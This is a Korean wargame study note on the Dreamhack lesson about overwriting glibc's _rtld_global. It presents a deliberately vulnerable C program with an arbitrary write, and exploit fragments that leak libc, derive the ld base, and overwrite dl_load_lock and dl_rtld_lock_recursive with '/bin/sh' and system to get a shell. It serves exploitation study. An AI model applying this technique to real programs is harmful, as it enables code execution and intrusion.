overwrite _rtld_global 본문
https://dreamhack.io/learn/269#1
dreamhack의 새로운 로드맵 중 _rtld_global에 대해 공부 했다.
알고 있었던 내용이지만 복습하는 마음으로 정리하기로 했다.
// Name: ow_rtld.c
// Compile: gcc -o ow_rtld ow_rtld.c
#include <stdio.h>
#include <stdlib.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main() {
long addr;
long data;
int idx;
init();
printf("stdout: %p\n", stdout);
while (1) {
printf("> ");
scanf("%d", &idx);
switch (idx) {
case 1:
printf("addr: ");
scanf("%ld", &addr);
printf("data: ");
scanf("%ld", &data);
*(long long *)addr = data;
break;
default:
return 0;
}
}
return 0;
}
바이너리 파일이다.
원하는 주소에 값을 넣을 수 있다.
보호 기법은 모두 걸려있다.
먼저 코드에서 stdout의 주소를 출력해주기에 libc base는 쉽게 구할 수 있다.
하지만 rtld_global은 ld 영역에 존재한다.
즉 libc base를 이용해 ld base를 알아야 한다.
이는 실행 중인 프로세스에서 vmmap을 통해 위치를 할 수 있다.
offset은 항상 같으니 계산이 가능하다.
p.recvuntil('stdout: ')
leak_stdout = int(p.recv(14),16)
libc_base = leak_stdout - libc.sym['_IO_2_1_stdout_']
ld_base = libc_base + 0x3f1000
ld_base를 계산해주었다.
다음 단계는
_rtld_global 구조체의 덮어쓸 멤버 변수의 주소를 구해야 한다.
주소를 구했다.
rtld_global = ld_base + ld.symbols['_rtld_global']
dl_load_lock = rtld_global + 2312
dl_rtld_lock_recursive = rtld_global + 3840
계산을 해준다.
dl_load_lock -> /bin/sh
dl_rtld_lock_recursive -> system
으로 덮어주면 끝이다.
'개념 정리' 카테고리의 다른 글
_IO_FILE Arbitrary Address Read (0) | 2022.02.10 |
---|---|
__environ (0) | 2022.02.09 |
vtable check bypass (0) | 2022.01.18 |
PE 기초 개념 (0) | 2022.01.15 |
shellcode 모음 (0) | 2022.01.07 |
Comments